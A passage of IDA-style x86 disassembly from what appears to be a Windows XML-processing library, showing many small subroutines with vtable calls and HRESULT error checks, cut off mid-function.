sub_69B5A81D	proc near		; DATA XREF: .text:69B29108o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_1C]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_18]
		add	eax, 0FFFFFFE8h
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	0
		push	offset dword_69B99CA0
		push	eax
		call	sub_69B2C800
		pop	ebp
		retn	20h
sub_69B5A81D	endp

; ---------------------------------------------------------------------------


loc_69B5A84C:				; DATA XREF: .text:off_69B29124o
		push	esi
		mov	esi, ecx
		call	sub_69B5A86B
		test	byte ptr [esp+8], 1
		jz	short loc_69B5A864
		lea	eax, [esi-0Ch]
		push	eax
		call	sub_69B1B2B7


loc_69B5A864:				; CODE XREF: .text:69B5A859j
		lea	eax, [esi-0Ch]
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_69B5A86B	proc near		; CODE XREF: .text:69B5A84Fp
		push	esi
		lea	esi, [ecx+10h]
		push	0
		push	esi
		mov	dword ptr [ecx-0Ch], offset off_69B12854
		mov	dword ptr [ecx-8], offset off_69B2908C
		mov	dword ptr [ecx], offset	off_69B29124
		mov	dword ptr [ecx+0Ch], offset off_69B290E8
		call	sub_69B17320
		push	esi
		call	sub_69B17230
		pop	esi
		jmp	sub_69B2C65C
sub_69B5A86B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5A89E	proc near		; CODE XREF: sub_69B58E4C:loc_69B58F9Ep
		push	20h
		push	offset dword_69B5A948
		call	sub_69B19C5C
		mov	byte ptr [ebp-19h], 1
		mov	esi, dword_69B9B270
		mov	[ebp-20h], esi
		xor	ebx, ebx
		cmp	esi, ebx
		jnz	short loc_69B5A920
		mov	ecx, dword_69B929E8
		mov	eax, [ecx]
		call	dword ptr [eax+0Ch]
		mov	[ebp-4], ebx
		mov	esi, dword_69B9B270
		mov	[ebp-20h], esi
		cmp	esi, ebx
		jnz	short loc_69B5A917
		push	1
		lea	ecx, [ebp-2Ch]
		call	sub_69B11D3B
		push	20h
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-30h], ecx
		cmp	ecx, ebx
		jz	short loc_69B5A8FA
		push	ebx
		call	sub_69B5A7CD
		jmp	short loc_69B5A8FC
; ---------------------------------------------------------------------------


loc_69B5A8FA:				; CODE XREF: sub_69B5A89E+52j
		xor	eax, eax


loc_69B5A8FC:				; CODE XREF: sub_69B5A89E+5Aj
		mov	esi, eax
		mov	[ebp-20h], esi
		push	esi		; Value
		mov	ecx, offset dword_69B9B270 ; Target
		call	sub_69B188DC
		mov	[ebp-19h], bl
		lea	ecx, [ebp-2Ch]
		call	sub_69B1976C


loc_69B5A917:				; CODE XREF: sub_69B5A89E+38j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B5A937


loc_69B5A920:				; CODE XREF: sub_69B5A89E+1Dj
		cmp	byte ptr [ebp-19h], 0
		jz	short loc_69B5A92C
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]


loc_69B5A92C:				; CODE XREF: sub_69B5A89E+86j
		mov	eax, esi
		call	sub_69B1853C
		retn
sub_69B5A89E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_69B5A934	proc near		; DATA XREF: .text:69B5A950o
		mov	esi, [ebp-20h]
sub_69B5A934	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_69B5A937	proc near		; CODE XREF: sub_69B5A89E+7Dp
		mov	ecx, dword_69B929E8
		mov	eax, [ecx]
		call	dword ptr [eax+10h]
		retn
sub_69B5A937	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B5A948	dd 0FFFFFFFFh, 0		dd offset sub_69B5A934

; =============== S U B	R O U T	I N E =======================================



sub_69B5A954	proc near		; CODE XREF: .text:69B5BB02p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		push	8
		call	sub_69B8AE52
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		pop	esi
		retn	4
sub_69B5A954	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5A96B	proc near		; CODE XREF: sub_69B5CC64+23p
		mov	ecx, [ecx+3Ch]
		jmp	sub_69B8B8E1
sub_69B5A96B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5A973	proc near		; DATA XREF: sub_69B119AE+1F9o
		xor	edx, edx
		cmp	[ecx+65h], dl
		jz	short loc_69B5A981
		mov	eax, 0C00CE113h
		jmp	short loc_69B5A990
; ---------------------------------------------------------------------------


loc_69B5A981:				; CODE XREF: sub_69B5A973+5j
		cmp	[ecx+5Dh], dl
		jz	short locret_69B5A99B
		cmp	[ecx+64h], dl
		jnz	short locret_69B5A99B
		mov	eax, 0C00CE11Ch


loc_69B5A990:				; CODE XREF: sub_69B5A973+Cj
		push	edx
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch

locret_69B5A99B:			; CODE XREF: sub_69B5A973+11j
					; sub_69B5A973+16j
		retn	4
sub_69B5A973	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5A99E	proc near		; DATA XREF: sub_69B119AE+249o
		cmp	byte ptr [ecx+9Dh], 0
		jz	short locret_69B5A9B8
		mov	eax, 0C00CE113h
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch

locret_69B5A9B8:			; CODE XREF: sub_69B5A99E+7j
		retn	4
sub_69B5A99E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5A9BB	proc near		; CODE XREF: sub_69B5C715+4Cp
					; DATA XREF: sub_69B119AE+D1o
		xor	eax, eax
		cmp	[ecx+80h], al
		jz	short loc_69B5A9CD
		mov	[ecx+88h], al
		jmp	short locret_69B5A9DD
; ---------------------------------------------------------------------------


loc_69B5A9CD:				; CODE XREF: sub_69B5A9BB+8j
		push	eax
		mov	eax, 0C00CE10Dh
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch

locret_69B5A9DD:			; CODE XREF: sub_69B5A9BB+10j
		retn	4
sub_69B5A9BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5A9E0	proc near		; DATA XREF: sub_69B119AE+1C1o
		cmp	byte ptr [ecx+61h], 0
		jz	short locret_69B5AA00
		cmp	dword ptr [ecx+0BCh], 2
		jz	short locret_69B5AA00
		mov	eax, 0C00CE107h
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch

locret_69B5AA00:			; CODE XREF: sub_69B5A9E0+4j
					; sub_69B5A9E0+Dj
		retn	4
sub_69B5A9E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5AA03	proc near		; CODE XREF: sub_69B5AA57+12p
					; sub_69B5AA95+21p ...

pvar		= VARIANTARG ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	word ptr [ebp+pvar.anonymous_0], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		push	0		; int
		push	0		; int
		lea	edx, [ebp+pvar]
		push	edx		; pvar
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	19h		; int
		push	eax		; cElements
		push	ecx		; int
		call	sub_69B30C4F
		mov	ebx, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		pop	esi
		test	ebx, ebx
		pop	ebx
		jz	short loc_69B5AA49
		mov	eax, 80004005h
		jmp	short locret_69B5AA53
; ---------------------------------------------------------------------------


loc_69B5AA49:				; CODE XREF: sub_69B5AA03+3Dj
		mov	eax, [ebp+arg_4]
		mov	ecx, dword ptr [ebp+pvar.anonymous_0+8]
		mov	[eax], ecx
		xor	eax, eax

locret_69B5AA53:			; CODE XREF: sub_69B5AA03+44j
		leave
		retn	8
sub_69B5AA03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5AA57	proc near		; CODE XREF: sub_69B5AD2D+7p
					; sub_69B5AD53+7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		mov	[ebp+var_4], 1
		call	sub_69B5AA03
		test	eax, eax
		jnz	short loc_69B5AA7D
		cmp	[ebp+var_4], eax
		jz	short loc_69B5AA8E
		cmp	[ebp+var_4], 1
		jz	short loc_69B5AA8E


loc_69B5AA7D:				; CODE XREF: sub_69B5AA57+19j
		mov	eax, 0C00CE121h
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B5AA8E:				; CODE XREF: sub_69B5AA57+1Ej
					; sub_69B5AA57+24j
		mov	eax, [ebp+var_4]
		leave
		retn	4
sub_69B5AA57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5AA95	proc near		; CODE XREF: sub_69B5AD40+7p
					; sub_69B5AD70+7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	off_69B99CC4	; lpString
		mov	ecx, [ebp+arg_0]
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_69B2EF04
		test	al, al
		jnz	short loc_69B5AADC
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_69B5AA03
		test	eax, eax
		jnz	short loc_69B5AACB
		cmp	[ebp+var_4], 0FFFFFFFFh
		jz	short loc_69B5AADC
		cmp	[ebp+var_4], 1
		jz	short loc_69B5AADC


loc_69B5AACB:				; CODE XREF: sub_69B5AA95+28j
		mov	eax, 0C00CE122h
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B5AADC:				; CODE XREF: sub_69B5AA95+18j
					; sub_69B5AA95+2Ej ...
		mov	eax, [ebp+var_4]
		leave
		retn	4
sub_69B5AA95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5AAE3	proc near		; CODE XREF: sub_69B5AD8D+12p
					; sub_69B5C12E+5Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0FFFFFFFFh
		jnz	short loc_69B5AB03
		cmp	[ebp+arg_4], 0
		mov	ecx, [ebp+arg_0]
		jnz	short loc_69B5AAFC
		call	sub_69B8FFB1
		jmp	short loc_69B5AB11
; ---------------------------------------------------------------------------


loc_69B5AAFC:				; CODE XREF: sub_69B5AAE3+10j
		call	sub_69B8FFB9
		jmp	short loc_69B5AB11
; ---------------------------------------------------------------------------


loc_69B5AB03:				; CODE XREF: sub_69B5AAE3+7j
		cmp	[ebp+arg_4], 0
		jnz	short loc_69B5AB11
		mov	ecx, [ebp+arg_0]
		call	sub_69B8FFC1


loc_69B5AB11:				; CODE XREF: sub_69B5AAE3+17j
					; sub_69B5AAE3+1Ej ...
		pop	ebp
		retn	0Ch
sub_69B5AAE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5AB15	proc near		; CODE XREF: sub_69B5ACE7+8p
					; sub_69B5AD07+Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_69B5AB30
		mov	eax, 0C00CE13Fh
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B5AB30:				; CODE XREF: sub_69B5AB15+8j
		push	esi
		push	[esp+8+arg_4]
		call	sub_69B5AA03
		test	eax, eax
		jnz	short loc_69B5AB42
		cmp	[esi], eax
		jge	short loc_69B5AB53


loc_69B5AB42:				; CODE XREF: sub_69B5AB15+27j
		mov	eax, 0C00CE137h
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B5AB53:				; CODE XREF: sub_69B5AB15+2Bj
		pop	esi
		retn	8
sub_69B5AB15	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5AB57	proc near		; CODE XREF: sub_69B5ACF7+8p
					; sub_69B5AD1A+Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_69B5AB72
		mov	eax, 0C00CE140h
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B5AB72:				; CODE XREF: sub_69B5AB57+8j
		push	esi
		push	[esp+8+arg_4]
		call	sub_69B5AA03
		test	eax, eax
		jnz	short loc_69B5AB84
		cmp	[esi], eax
		jge	short loc_69B5AB95


loc_69B5AB84:				; CODE XREF: sub_69B5AB57+27j
		mov	eax, 0C00CE136h
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B5AB95:				; CODE XREF: sub_69B5AB57+2Bj
		pop	esi
		retn	8
sub_69B5AB57	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5AB99	proc near		; CODE XREF: sub_69B5BEDE+170p
					; sub_69B5C076+67p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_69B8C6AD
		or	ecx, 0FFFFFFFFh
		cmp	eax, 1Ch
		jz	short loc_69B5ABC4
		cmp	eax, 1
		jz	short loc_69B5ABC4
		cmp	eax, 0Dh
		jz	short loc_69B5ABC4
		cmp	eax, 0Ch
		jz	short loc_69B5ABC4
		mov	edi, ecx
		mov	esi, ecx
		jmp	short loc_69B5ABCC
; ---------------------------------------------------------------------------


loc_69B5ABC4:				; CODE XREF: sub_69B5AB99+14j
					; sub_69B5AB99+19j ...
		mov	esi, [esp+0Ch+arg_8]
		mov	edi, [esp+0Ch+arg_4]


loc_69B5ABCC:				; CODE XREF: sub_69B5AB99+29j
		cmp	edi, ecx
		jz	short loc_69B5ABE9
		cmp	esi, ecx
		jz	short loc_69B5ABE9
		cmp	edi, esi
		jle	short loc_69B5ABE9
		mov	eax, 0C00CE138h
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B5ABE9:				; CODE XREF: sub_69B5AB99+35j
					; sub_69B5AB99+39j ...
		mov	[ebx+28h], edi
		pop	edi
		mov	[ebx+24h], esi
		pop	esi
		pop	ebx
		retn	0Ch
sub_69B5AB99	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5ABF5	proc near		; CODE XREF: sub_69B5C2C9+6Dp
					; sub_69B5C433+98p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		cmp	[esp+arg_0], eax
		jz	short loc_69B5AC15
		mov	ecx, [ecx+60h]
		cmp	ecx, eax
		jz	short locret_69B5AC19
		push	[esp+arg_0]
		call	sub_69B1980A
		neg	eax
		sbb	eax, eax
		neg	eax
		jmp	short locret_69B5AC19
; ---------------------------------------------------------------------------


loc_69B5AC15:				; CODE XREF: sub_69B5ABF5+6j
		movzx	eax, byte ptr [ecx+30h]

locret_69B5AC19:			; CODE XREF: sub_69B5ABF5+Dj
					; sub_69B5ABF5+1Ej
		retn	4
sub_69B5ABF5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5AC1C	proc near		; CODE XREF: sub_69B5B558+FEp
					; sub_69B8DCB5+2C1p
		mov	edx, [ecx+10h]
		test	edx, edx
		jz	short locret_69B5AC3F
		mov	eax, [ecx+18h]
		test	eax, eax
		jz	short locret_69B5AC3F
		shl	eax, 4
		xor	eax, [edx+8]
		and	eax, 3F0h
		xor	[edx+8], eax
		mov	eax, [ecx+10h]
		or	byte ptr [eax+9], 40h

locret_69B5AC3F:			; CODE XREF: sub_69B5AC1C+5j
					; sub_69B5AC1C+Cj
		retn
sub_69B5AC1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5AC40	proc near		; CODE XREF: sub_69B5CAA5+BCp
					; sub_69B5CD56+38p

arg_4		= dword	ptr  8

		xor	eax, eax
		cmp	[ecx+35h], al
		jnz	short locret_69B5AC71
		mov	edx, [esp+arg_4]
		cmp	edx, eax
		jz	short locret_69B5AC71
		test	byte ptr [edx+0Bh], 1Fh
		jnz	short locret_69B5AC71
		mov	ecx, [ecx]
		mov	ecx, [ecx]
		xor	edx, edx
		inc	edx


loc_69B5AC5C:				; CODE XREF: sub_69B5AC40+26j
		cmp	ecx, dword_69B99CC8[edx*4]
		jz	short loc_69B5AC68
		inc	edx
		jns	short loc_69B5AC5C


loc_69B5AC68:				; CODE XREF: sub_69B5AC40+23j
		cmp	edx, eax
		jge	short locret_69B5AC71
		mov	eax, 0C00CE018h

locret_69B5AC71:			; CODE XREF: sub_69B5AC40+5j
					; sub_69B5AC40+Dj ...
		retn	8
sub_69B5AC40	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5AC74	proc near		; CODE XREF: sub_69B5BCA9+57p
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_69B318FB
		test	eax, eax
		jz	short loc_69B5AC8E
		mov	ecx, [esi]
		mov	[eax], ecx
		mov	eax, [esi+4]
		mov	[esi], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B5AC8E:				; CODE XREF: sub_69B5AC74+Dj
		mov	eax, 8007000Eh
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch
		pop	esi
		retn
sub_69B5AC74	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5ACA1	proc near		; DATA XREF: sub_69B119AE+101o
		xor	edx, edx
		cmp	[ecx+5Fh], dl
		jz	short loc_69B5ACAF
		mov	eax, 0C00CE10Ah
		jmp	short loc_69B5ACD9
; ---------------------------------------------------------------------------


loc_69B5ACAF:				; CODE XREF: sub_69B5ACA1+5j
		cmp	[ecx+65h], dl
		jz	short loc_69B5ACBB
		mov	eax, 0C00CE11Fh
		jmp	short loc_69B5ACD9
; ---------------------------------------------------------------------------


loc_69B5ACBB:				; CODE XREF: sub_69B5ACA1+11j
		mov	eax, [ecx+58h]
		mov	eax, [eax+2Ch]
		cmp	[eax+28h], dl
		jz	short loc_69B5ACD4
		xor	eax, eax
		inc	eax
		mov	[ecx+66h], dl
		mov	[ecx+68h], eax
		mov	[ecx+6Ch], eax
		jmp	short locret_69B5ACE4
; ---------------------------------------------------------------------------


loc_69B5ACD4:				; CODE XREF: sub_69B5ACA1+23j
		mov	eax, 0C00CE11Dh


loc_69B5ACD9:				; CODE XREF: sub_69B5ACA1+Cj
					; sub_69B5ACA1+18j
		push	edx
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch

locret_69B5ACE4:			; CODE XREF: sub_69B5ACA1+31j
		retn	4
sub_69B5ACA1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5ACE7	proc near		; DATA XREF: sub_69B11555+B2o
					; sub_69B118B8+26o

arg_4		= dword	ptr  8

		push	[esp+arg_4]
		lea	eax, [ecx+70h]
		push	eax
		call	sub_69B5AB15
		retn	8
sub_69B5ACE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5ACF7	proc near		; DATA XREF: sub_69B11555+CEo
					; sub_69B118B8+42o

arg_4		= dword	ptr  8

		push	[esp+arg_4]
		lea	eax, [ecx+74h]
		push	eax
		call	sub_69B5AB57
		retn	8
sub_69B5ACF7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5AD07	proc near		; DATA XREF: sub_69B1165C+96o
					; sub_69B11933+26o

arg_4		= dword	ptr  8

		push	[esp+arg_4]
		lea	eax, [ecx+94h]
		push	eax
		call	sub_69B5AB15
		retn	8
sub_69B5AD07	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5AD1A	proc near		; DATA XREF: sub_69B1165C+B2o
					; sub_69B11933+42o

arg_4		= dword	ptr  8

		push	[esp+arg_4]
		lea	eax, [ecx+98h]
		push	eax
		call	sub_69B5AB57
		retn	8
sub_69B5AD1A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5AD2D	proc near		; DATA XREF: sub_69B11747+26o

arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		call	sub_69B5AA57
		mov	[esi+68h], eax
		pop	esi
		retn	8
sub_69B5AD2D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5AD40	proc near		; DATA XREF: sub_69B11747+42o

arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		call	sub_69B5AA95
		mov	[esi+6Ch], eax
		pop	esi
		retn	8
sub_69B5AD40	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5AD53	proc near		; DATA XREF: sub_69B1183D+26o

arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		call	sub_69B5AA57
		mov	[esi+0B0h], eax
		mov	byte ptr [esi+0B9h], 1
		pop	esi
		retn	8
sub_69B5AD53	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5AD70	proc near		; DATA XREF: sub_69B1183D+42o

arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		call	sub_69B5AA95
		mov	[esi+0B4h], eax
		mov	byte ptr [esi+0B8h], 1
		pop	esi
		retn	8
sub_69B5AD70	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5AD8D	proc near		; DATA XREF: sub_69B119AE+135o
		cmp	byte ptr [ecx+66h], 0
		jz	short loc_69B5ADA6
		push	dword ptr [ecx+6Ch]
		mov	eax, [ecx+58h]
		push	dword ptr [ecx+68h]
		push	dword ptr [eax+2Ch]
		call	sub_69B5AAE3
		jmp	short locret_69B5ADB7
; ---------------------------------------------------------------------------


loc_69B5ADA6:				; CODE XREF: sub_69B5AD8D+4j
		mov	eax, 0C00CE104h
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch

locret_69B5ADB7:			; CODE XREF: sub_69B5AD8D+17j
		retn	8
sub_69B5AD8D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5ADBA	proc near		; DATA XREF: sub_69B119AE+27Do
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+7Ch]
		call	sub_69B8C6AD
		xor	ecx, ecx
		cmp	[esi+9Dh], cl
		jnz	short loc_69B5ADD6
		mov	eax, 0C00CE120h
		jmp	short loc_69B5ADF7
; ---------------------------------------------------------------------------


loc_69B5ADD6:				; CODE XREF: sub_69B5ADBA+13j
		cmp	eax, 0Ah
		jnz	short loc_69B5ADEA
		cmp	[esi+9Ch], cl
		jnz	short loc_69B5AE02
		mov	eax, 0C00CE115h
		jmp	short loc_69B5ADF7
; ---------------------------------------------------------------------------


loc_69B5ADEA:				; CODE XREF: sub_69B5ADBA+1Fj
		cmp	[esi+9Ch], cl
		jz	short loc_69B5AE02
		mov	eax, 0C00CE114h


loc_69B5ADF7:				; CODE XREF: sub_69B5ADBA+1Aj
					; sub_69B5ADBA+2Ej
		push	ecx
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B5AE02:				; CODE XREF: sub_69B5ADBA+27j
					; sub_69B5ADBA+36j
		pop	esi
		retn	8
sub_69B5ADBA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5AE06	proc near		; CODE XREF: sub_69B5B47E+37p
					; sub_69B5C3BA+32p
		mov	eax, [ecx+0BCh]
		test	eax, eax
		jz	short loc_69B5AE22
		jle	short loc_69B5AE22
		cmp	eax, 2
		jg	short loc_69B5AE22
		mov	eax, [ecx+58h]
		mov	ecx, [eax+2Ch]
		jmp	sub_69B8F63D
; ---------------------------------------------------------------------------


loc_69B5AE22:				; CODE XREF: sub_69B5AE06+8j
					; sub_69B5AE06+Aj ...
		mov	eax, [ecx+58h]
		mov	ecx, [eax+2Ch]
		jmp	sub_69B8F674
sub_69B5AE06	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5AE2D	proc near		; CODE XREF: sub_69B5BDC8+A3p
					; sub_69B5C076+97p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		mov	cl, [eax+30h]
		cmp	cl, 3
		jz	short locret_69B5AE60
		xor	edx, edx
		cmp	[esp+arg_4], dl
		jnz	short loc_69B5AE53
		cmp	cl, 1
		jz	short loc_69B5AE53
		cmp	[eax+2Ch], edx
		setnz	cl
		dec	cl
		and	ecx, 2
		jmp	short loc_69B5AE5D
; ---------------------------------------------------------------------------


loc_69B5AE53:				; CODE XREF: sub_69B5AE2D+12j
					; sub_69B5AE2D+17j
		cmp	[eax+2Ch], edx
		setnz	cl
		lea	ecx, [ecx+ecx+1]


loc_69B5AE5D:				; CODE XREF: sub_69B5AE2D+24j
		mov	[eax+30h], cl

locret_69B5AE60:			; CODE XREF: sub_69B5AE2D+Aj
		retn	8
sub_69B5AE2D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5AE63	proc near		; CODE XREF: sub_69B5B3FA+1Cp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0
		push	[esp+0Ch+arg_0]
		mov	esi, ecx
		call	sub_69B20F54
		mov	edi, eax
		cmp	edi, 2
		jnz	short loc_69B5AEA3
		cmp	byte ptr [esi+9Fh], 0
		jnz	short loc_69B5AEA3
		mov	eax, [esi+58h]
		cmp	byte ptr [eax+34h], 0
		jz	short loc_69B5AE9C
		mov	eax, 0C00CE022h
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B5AE9C:				; CODE XREF: sub_69B5AE63+26j
		mov	eax, [esi+58h]
		mov	byte ptr [eax+34h], 1


loc_69B5AEA3:				; CODE XREF: sub_69B5AE63+14j
					; sub_69B5AE63+1Dj
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_69B5AE63	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5AEAA	proc near		; CODE XREF: sub_69B5B263+53p
					; sub_69B5C2C9+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	esi
		push	dword ptr [eax+0Ch]
		mov	esi, ecx
		mov	ecx, [eax+8]
		push	[esp+8+arg_8]
		mov	ecx, [ecx+14h]
		push	[esp+0Ch+arg_4]
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		push	eax
		mov	ecx, esi
		call	sub_69B4D7A3
		pop	esi
		retn	0Ch
sub_69B5AEAA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5AED3	proc near		; CODE XREF: sub_69B5C2C9+E7p
					; sub_69B8BBC2+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		test	edi, edi
		mov	ebx, ecx
		jnz	short loc_69B5AEE6
		mov	edi, dword_69B95A18


loc_69B5AEE6:				; CODE XREF: sub_69B5AED3+Bj
		push	0
		push	edi
		push	0Ch
		mov	ecx, ebx
		call	sub_69B8AB3E
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B5AF0A
		push	edi
		push	0Ch
		mov	ecx, ebx
		call	sub_69B8AE52
		mov	esi, eax
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+4]


loc_69B5AF0A:				; CODE XREF: sub_69B5AED3+23j
		mov	edi, [esp+0Ch+arg_4]
		or	byte ptr [esi+0Bh], 80h
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+4]
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+4]
		mov	[esi+4], edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B5AED3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5AF27	proc near		; CODE XREF: sub_69B5C2C9+CBp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		setz	byte ptr [ebp+arg_0+3]
		cmp	byte ptr [ebp+arg_0+3],	0
		push	edi
		mov	ebx, ecx
		jz	short loc_69B5AF44
		mov	esi, dword_69B95A18


loc_69B5AF44:				; CODE XREF: sub_69B5AF27+15j
		push	0
		push	esi
		push	8
		mov	ecx, ebx
		call	sub_69B8AB3E
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B5AF6D
		cmp	byte ptr [ebp+arg_0+3],	al
		jz	short loc_69B5AF6D
		push	esi
		push	8
		mov	ecx, ebx
		call	sub_69B8AE52
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]


loc_69B5AF6D:				; CODE XREF: sub_69B5AF27+2Dj
					; sub_69B5AF27+32j
		mov	eax, [ebp+arg_4]
		mov	[edi+4], eax
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_69B5AF27	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5AF7A	proc near		; CODE XREF: sub_69B5B263+24p
					; sub_69B5B263+5Fp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		push	[esp+4+arg_0]
		add	esi, 8
